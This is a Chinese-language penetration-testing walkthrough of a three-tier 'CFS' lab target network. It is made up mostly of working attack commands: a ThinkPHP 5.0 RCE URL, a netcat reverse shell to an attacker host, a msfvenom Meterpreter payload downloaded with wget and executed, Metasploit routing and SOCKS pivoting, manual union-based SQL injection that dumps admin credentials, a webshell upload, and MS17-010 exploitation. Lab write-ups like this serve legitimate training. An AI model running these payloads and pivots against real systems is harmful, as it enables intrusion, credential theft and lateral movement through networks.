CFS三层靶机渗透
字数 1127 2025-08-18 11:39:30
CFS三层靶机渗透教学文档
环境搭建
网络配置
- VMnet8:设置为出网IP
- 子网IP: 192.168.42.0
- 子网掩码: 255.255.255.0
- VMnet1:仅主机模式(内网)
- 子网IP: 192.168.22.0
- 子网掩码: 255.255.255.0
- VMnet2:仅主机模式(内网)
- 子网IP: 192.168.33.0
- 子网掩码: 255.255.255.0
网络拓扑
- 第一层:192.168.42.0/24(可出网)
- 第二层:192.168.22.0/24(内网)
- 第三层:192.168.33.0/24(内网)
第一层靶机渗透(192.168.42.3)
信息收集
使用Nmap扫描:
nmap -T4 -A 192.168.42.3 --script=vuln
发现开放服务:
- 21/tcp:Pure-FTPd
- 22/tcp:OpenSSH 7.4(存在CVE-2018-15919和CVE-2017-15906漏洞)
- 80/tcp:nginx
- 888/tcp:nginx
- 3306/tcp:MySQL(未授权访问)
- 8888/tcp:Ajenti http控制面板
漏洞利用
-
ThinkPHP V5.0 RCE漏洞利用
- 访问URL:
http://192.168.42.3/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami - 反弹shell:
在目标机器执行:nc -lvp 6666nc 192.168.42.4 6666 -e /bin/bash - 获取交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
- 访问URL:
-
生成并上传Meterpreter payload
- 生成ELF payload:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.42.4 LPORT=1111 -f elf > shell.elf - 启动HTTP服务:
python -m SimpleHTTPServer 8080 - 目标机器下载执行:
wget http://192.168.42.4:8080/shell.elf chmod +x shell.elf ./shell.elf - MSF监听:
use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 192.168.42.4 set LPORT 1111 exploit
- 生成ELF payload:
内网探测
- 获取当前网段:
run get_local_subnets - 添加路由:
run autoroute -s 192.168.22.0/24 - 扫描第二层内网:
use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.22.0/24 run
第二层靶机渗透(192.168.22.2)
代理设置
- 设置SOCKS代理:
use auxiliary/server/socks4a run - 配置proxychains:
添加:vim /etc/proxychains.confsocks4 127.0.0.1 1080
信息收集
- 端口扫描:
proxychains nmap -Pn -sT 192.168.22.2 - 目录扫描:
proxychains dirb http://192.168.22.2 - 检查robots.txt发现后台
SQL注入利用
- 检测注入点:
proxychains sqlmap -u "http://192.168.22.2/index.php?r=vul&keyword=1" -p keyword --dbs - 手工注入步骤:
- 判断字段数:
http://192.168.22.2/index.php?r=vul&keyword=1' order by 39 --+ - 查库名:
http://192.168.22.2/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(schema_name) from information_schema.schemata --+ - 查表名:
http://192.168.22.2/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(table_name) from information_schema.tables where table_schema='bagecms' --+ - 查字段:
http://192.168.22.2/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38 group_concat(column_name) from information_schema.columns where table_name='bage_admin' --+ - 查数据:
http://192.168.22.2/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(id,username,password) from bage_admin --+ - 获取到管理员凭据:admin/46f94c8de14fb36680850768ff1b7f2a(MD5解密后)
- 判断字段数:
获取Webshell
- 使用蚁剑连接:
proxychains ./AntSword - 通过模板管理上传webshell
获取Meterpreter会话
- 生成bind_tcp payload:
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=1234 -f elf > shell1234.elf - 上传并执行:
chmod +x shell1234.elf ./shell1234.elf - MSF连接:
proxychains msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/bind_tcp set RHOST 192.168.22.2 set LPORT 1234 exploit
内网探测
- 添加路由:
run autoroute -s 192.168.33.0/24 - 扫描第三层内网:
use auxiliary/scanner/smb/smb_version set RHOSTS 192.168.33.0/24 run
第三层靶机渗透(192.168.33.x)
MS17-010漏洞利用
- 检测漏洞:
use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.33.0/24 run - 利用漏洞:
use exploit/windows/smb/ms17_010_psexec set RHOST 192.168.33.x set payload windows/x64/meterpreter/bind_tcp exploit
总结
本渗透测试完整演示了从外网到内网的三层渗透过程,涉及以下关键技术点:
- ThinkPHP RCE漏洞利用
- Meterpreter会话建立与维持
- 内网路由添加与代理设置
- 多层内网穿透技术
- SQL注入手工与自动化利用
- MS17-010漏洞利用
通过这种分层渗透的方法,可以有效地测试和评估多层网络架构的安全性。